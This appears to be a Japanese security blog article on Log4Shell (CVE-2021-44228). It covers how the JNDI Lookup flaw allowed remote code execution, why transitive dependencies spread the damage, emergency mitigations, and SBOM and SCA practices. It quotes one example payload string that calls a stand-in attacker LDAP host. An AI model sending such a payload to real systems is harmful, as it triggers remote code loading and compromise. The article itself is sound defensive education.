CyberFix Note
脆弱性・CVE解説

Log4Shellに学ぶ、依存ライブラリ脆弱性の怖さとSBOM・SCAによる対策

対象の目安: アプリ開発者・運用担当 / 実務レベル

ソウ攻撃・脆弱性リサーチ担当
・ 約15分で読めます
Log4Shellに学ぶ、依存ライブラリ脆弱性の怖さとSBOM・SCAによる対策

2021年12月、ログ出力という地味な機能のためのライブラリ、Apache Log4jに見つかった一つの脆弱性が、世界中の開発・運用現場を週末返上の対応に追い込みました。CVE-2021-44228、通称Log4Shellです。CVSS v3.1の基本値は最大の10.0で、認証なしのリモートから任意コード実行(RCE)に至るという、深刻度の上限に張り付いた評価が付きました。

この事件が特別だったのは、脆弱性そのものの怖さだけではありません。Log4jはあまりに多くのソフトウェアに「間接的に」組み込まれていたため、自分たちが直接Log4jを使っているかどうかすら把握できていない組織が続出した、という点に本質があります。つまりLog4Shellは、依存ライブラリ管理の不在をあぶり出した事件でもありました。

この記事では、CVE-2021-44228が何をどう突いたのかを一次情報に基づいて噛み砕いたうえで、なぜ依存ライブラリの脆弱性が広範な被害を生むのか、そしてSBOM(ソフトウェア部品表)とSCA(ソフトウェアコンポジション解析)を軸にどう備えるべきかを、実務の判断基準まで掘り下げて整理します。

早見表: Log4Shellの基本情報

まず事実関係を一覧で押さえます。Log4Shellは単一のCVEで完結せず、修正の過程で関連する追加の脆弱性が見つかった点に注意が必要です。

項目内容
CVE番号CVE-2021-44228(Log4Shell)
対象Apache Log4j 2(Log4j2)のlog4j-core(log4j-apiのみの利用は対象外)
影響を受けるバージョン2.0-beta9 から 2.14.1(2.12.2など一部のセキュリティリリースを除く)
CVSS v3.1 基本値10.0(Critical)
CVSSベクターAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
主なCWECWE-917(式言語インジェクション)
影響認証不要・リモートからの任意コード実行(RCE)
公表2021年12月(NVD掲載は12月10日)
RCEを既定で無効化2.15.0
機能を完全に削除2.16.0
関連CVECVE-2021-45046(2.16.0で修正)、CVE-2021-45105(2.17.0で修正)、CVE-2021-44832(2.17.1で修正)
最終的な推奨更新先2.17.1(Java8以上)、2.12.4(Java7)、2.3.2(Java6)

注意

バージョンの注記は混乱しやすい点です。「2.15.0でRCEは既定で無効化された」が、その後にThread Context Lookupに関わるCVE-2021-45046や、再帰的なLookupによるサービス妨害(DoS)のCVE-2021-45105、さらにJDBC Appender経由のRCEであるCVE-2021-44832が見つかり、推奨される更新先が段階的に2.16.0、2.17.0、2.17.1へと引き上げられました。2.17.1まで引き上げられたのはLog4Shell本体ではなく後続のCVE-2021-44832への対応を含むためで、最終的な推奨先のみを覚えておくのが安全です。

何が起きたのか: JNDI Lookupという仕組み

Log4jには、ログに出力する文字列の中に特定の記法を埋め込むと、その値を実行時に解決して差し込む「Lookup」という機能があります。たとえば環境変数やシステムプロパティをログに含めたいときに使うものです。

問題は、このLookupがJNDI(Java Naming and Directory Interface)経由の参照にも対応していたことです。攻撃者が ${jndi:ldap://attacker.example/a} のような文字列をログに記録させられると、Log4jはこれを解決しようとしてLDAPサーバーに接続し、そこから返ってきた情報をもとに外部のJavaクラスを読み込んで実行してしまいました。NVDの記述でも「メッセージのLookup置換が有効な場合、攻撃者が制御するLDAPサーバーから読み込んだ任意コードを実行できる」とされています。

ここで再現条件の核心を押さえておきます。攻撃者が必要としたのは、「アプリケーションが攻撃者の入力をログに記録する」というごくありふれた動作だけでした。User-Agentヘッダ、検索フォーム、ユーザー名の入力欄など、ログに残るあらゆる経路が入口になり得ます。認証も特別な権限も不要で、ただ文字列を送り込めればよかったため、攻撃のハードルが極端に低かったのです。

CVSSベクターの S:C(Scope: Changed)は、脆弱性のある部品の権限境界を越えて影響が及ぶことを示します。ログ出力ライブラリの欠陥が、それを使うアプリケーション全体の乗っ取りに直結したことが、この最大スコアに表れています。

なぜ「地味なログライブラリ」がこれほどの被害を生んだのか

技術的な原理だけ見れば、JNDI Lookupの危険性は一つのバグです。しかしLog4Shellを歴史的な事件にしたのは、Log4jの「広がり方」でした。

第一に、Log4jはJavaのログ出力における事実上の標準で、無数のアプリケーションが採用していました。第二に、そして決定的に重要なのが、多くの組織はLog4jを「直接」使っているわけではなく、別のフレームワークやミドルウェア、商用製品の内部に「間接的に」抱え込んでいたことです。

依存関係には階層があります。自分のプロジェクトが直接importするライブラリ(直接依存)と、そのライブラリがさらに内部で使っているライブラリ(推移的依存、transitive dependency)です。Log4jは多くの場合この推移的依存の側に潜んでいました。開発者が pom.xmlbuild.gradle を眺めてもLog4jの名前が見当たらず、それでも依存ツリーを深く辿ると確かに含まれている、という状況が広範に発生したのです。

「うちはLog4jなんて直接使っていない」と思っていたが、いざ依存ツリーを mvn dependency:tree で展開したら、複数の商用ミドルウェアの内部から該当バージョンが出てきた。どの製品のどのバージョンに含まれるのかを一つずつ確認する作業に、まる二日かかった。

ある運用担当の声(一般化した例)

これがLog4Shellの最も重い教訓です。脆弱性そのものより、「自分のシステムにその部品が含まれているか即座に答えられない」という可視性の欠如が、対応を遅らせ被害を拡大させました。サプライチェーン全体を自分の攻撃面として捉える視点については

でも扱っています。

当時の緊急対応と、その判断基準

事件発生時、現場が取った対応は大きく分けて二つでした。一つは恒久対策である「該当バージョンへの更新」、もう一つは更新がすぐにできない場合の「暫定緩和策」です。

  1. 1

    まず自分の環境にLog4jが含まれるかを洗い出す

    直接依存だけでなく推移的依存まで含めて確認します。Mavenなら mvn dependency:tree、Gradleなら gradle dependencies で依存ツリーを展開し、log4j-core の有無とバージョンを確認します。商用製品については各ベンダーのアドバイザリを参照します。

  2. 2

    可能なら修正版へ更新する(恒久対策)

    最終的に推奨されたのはJava8以上で2.17.1、Java7で2.12.4、Java6で2.3.2です。JPCERT/CCやIPAの注意喚起も、修正版への更新を最優先の対策として挙げました。

  3. 3

    即時更新が難しければ暫定緩和を施す

    JndiLookupクラスをクラスパスから削除する方法が広く案内されました。具体的には zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class のように該当クラスを除去します。あくまで時間を稼ぐための処置で、恒久対策の代わりにはなりません。

  4. 4

    侵害の有無を調査する

    公表前から攻撃が観測されていたため、更新しただけで安心せず、不審な外部接続や見慣れないプロセス・ファイルの有無を確認します。IPAの注意喚起でも国内での攻撃観測が報告されました。

ここで判断を誤りやすいのが、暫定緩和策の位置づけです。当初は「システムプロパティ log4j2.formatMsgNoLookups をtrueにする」という緩和も案内されましたが、これは一部バージョンや条件で十分でないことが後に判明しました。緩和策は「設定の一行で済むから安心」と考えず、必ず修正版への更新を最終ゴールに据えるのが正しい判断です。

メモ

Log4j 1.x系は本脆弱性(CVE-2021-44228)の対象ではありません。ただしLog4j 1.xはすでに開発終了(EOL)であり、別の既知脆弱性を抱えるため、1.xだから安全という結論にはなりません。EOLのコンポーネントを使い続けること自体がリスクです。

再発防止の本質: SBOMで「持ち物」を可視化する

Log4Shellで最も時間を奪ったのは、攻撃そのものへの対処ではなく「自分が何を持っているか分からない」という状態でした。ここを解消する取り組みがSBOM(Software Bill of Materials、ソフトウェア部品表)です。

SBOMとは、ソフトウェアを構成する部品(ライブラリやコンポーネント)とそのバージョン、ライセンス、供給元などを一覧化した「部品表」です。製造業で製品に使われる部品を管理するのと同じ発想を、ソフトウェアに持ち込んだものと考えると分かりやすいでしょう。代表的な記述フォーマットにはSPDXとCycloneDXがあります。

SBOMがあれば、新たな脆弱性が公表されたときに「その部品を、どの製品の、どのバージョンで使っているか」を検索一発で答えられます。Log4Shellの教訓を一言でまとめれば、「次に同じことが起きたとき、含まれているかどうかを数時間ではなく数分で答えられる状態を作っておく」ことに尽きます。

脆弱性の影響範囲はバージョンの区間で示されます。Apache公式のセキュリティページでは、CVE-2021-44228の影響範囲が「2.0-beta9以上2.15.0未満(一部のセキュリティリリースを除く)」のように区間で記述されています。SBOMで正確なバージョンを持っていれば、この区間に該当するかを機械的に判定できます。

SCAで「既知の脆弱性」を継続的に検知する

SBOMが「持ち物リスト」だとすれば、SCA(Software Composition Analysis、ソフトウェアコンポジション解析)は「その持ち物に既知の脆弱性がないかを照合し続ける仕組み」です。両者はセットで効果を発揮します。

SCAツールは、プロジェクトの依存関係(直接・推移的の両方)を解析し、各コンポーネントのバージョンを脆弱性データベース(NVDなど)と突き合わせて、該当する既知脆弱性を報告します。これをCI(継続的インテグレーション)に組み込んでおけば、新しい脆弱性が公表された際にも、次回のビルドやスキャンで「この依存が危険」と自動的に検知できます。

実務でSCAを導入する際の判断基準を整理します。

観点確認すべきこと
検知範囲推移的依存まで解析できるか(直接依存だけでは不十分)
データ源NVDなど信頼できる脆弱性DBを参照し、更新頻度が高いか
CI連携ビルドパイプラインに組み込めるか、結果をどう扱うか(警告か、ビルド失敗か)
誤検知への対応実際には到達しない経路の脆弱性を抑制(トリアージ)できるか
ライセンス管理脆弱性だけでなくライセンス情報も把握できるか

ここで誤解しやすいのが、SCAの結果をどう扱うかです。SCAは大量の指摘を出すことがあり、すべてを即座に直そうとすると現場が疲弊します。重要なのは、CVSSスコアや、その依存が実際に攻撃可能な経路で使われているか(到達可能性)を踏まえて優先順位を付けることです。Log4Shellのように「認証不要・リモートRCE・実際に攻撃が観測されている」ものは最優先、というように、スコアと悪用状況の両面で判断します。

SCAを入れた当初は警告が数百件出て、全部対応しようとして手が止まった。優先度付けのルール(CVSS9.0以上かつ攻撃が観測されているものを先に、など)を決めてからは、本当に危ないものに集中できるようになった。

ある開発チームの振り返り(一般化した例)

SBOMの生成・管理やSCAツールの具体的な選び方、CIへの組み込み方は

で詳しく扱います。

つまずきやすい点と、運用に落とすコツ

最後に、Log4Shellの教訓を「次に活かす」ために、現場で外しやすいポイントを整理します。

第一に、依存の更新を後回しにしないことです。「動いているから触らない」と古いバージョンを放置するほど、いざ緊急更新が必要になったときの差分が大きくなり、互換性の検証に時間がかかります。小さく頻繁に更新するほうが、結局は緊急時のリスクを下げます。

第二に、SBOMは「作って終わり」ではなく「最新に保つ」ことが価値の源泉です。リリースのたびにSBOMを生成・更新し、いつでも現状の部品構成を参照できる状態を維持します。古いSBOMは、古い地図と同じで、いざというとき役に立ちません。

第三に、商用製品やクラウドサービスの内部に含まれる部品は、自社のSCAだけでは見えないことがあります。ベンダーのセキュリティアドバイザリを購読し、利用製品に脆弱性が出た際に通知を受け取れるようにしておくことが、可視性を補完します。

よくある質問

Log4Shellは結局どのバージョンに上げれば安全ですか?
関連する追加脆弱性まで含めて修正されたのは、最終的にJava8以上で2.17.1、Java7で2.12.4、Java6で2.3.2です。2.15.0や2.16.0でも特定の問題は解消されますが、最終的な推奨先へ更新するのが確実です。
設定でJndiLookupを無効化すれば更新しなくてよいですか?
暫定緩和策はあくまで時間稼ぎです。JndiLookupクラスの削除などはすぐ更新できない場合の処置であり、恒久対策は修正版への更新です。緩和策の有効性はバージョンや条件に左右されるため、更新を最終ゴールに据えてください。
SBOMとSCAは何が違うのですか?
SBOMはソフトウェアを構成する部品の一覧(部品表)で、何をどのバージョンで使っているかを可視化します。SCAはその部品を脆弱性データベースと照合し、既知の脆弱性を検知する仕組みです。SBOMで持ち物を把握し、SCAで継続的に危険を検知する、という関係でセットで使います。
Log4j 1.x系を使っていれば影響はないのですか?
CVE-2021-44228自体の対象は2系です。ただしLog4j 1.xはすでに開発終了(EOL)で別の既知脆弱性を抱えるため、1.xだから安全とは言えません。EOLの部品を使い続けること自体がリスクであり、サポートされるロギング基盤への移行を検討すべきです。

まとめ

Log4Shellの教訓を運用に落とす

  • 自分のシステムに含まれる部品を直接依存・推移的依存まで一覧化(SBOM)している
  • SBOMをリリースのたびに更新し、いつでも現状の部品構成を参照できる
  • SCAをCIに組み込み、既知脆弱性を継続的に検知している
  • 脆弱性の優先度をCVSSと悪用状況(到達可能性・攻撃観測)で判断している
  • 依存の更新を後回しにせず、小さく頻繁に更新する運用を回している
  • 利用する商用製品・クラウドのセキュリティアドバイザリを購読している

Log4Shellが残した最大の教訓は、「脆弱性は防げなくても、自分が何を持っているかは把握できる」ということです。次に同じ規模の脆弱性が公表されたとき、影響範囲を数分で答えられる組織と、数日かけて手探りする組織の差は、SBOMとSCAという地道な仕組みを平時から回しているかどうかで決まります。派手さはありませんが、ここがサプライチェーンセキュリティの土台です。依存ライブラリ管理の具体的な進め方は

をあわせてご覧ください。

出典・参考

この記事をシェア

関連する記事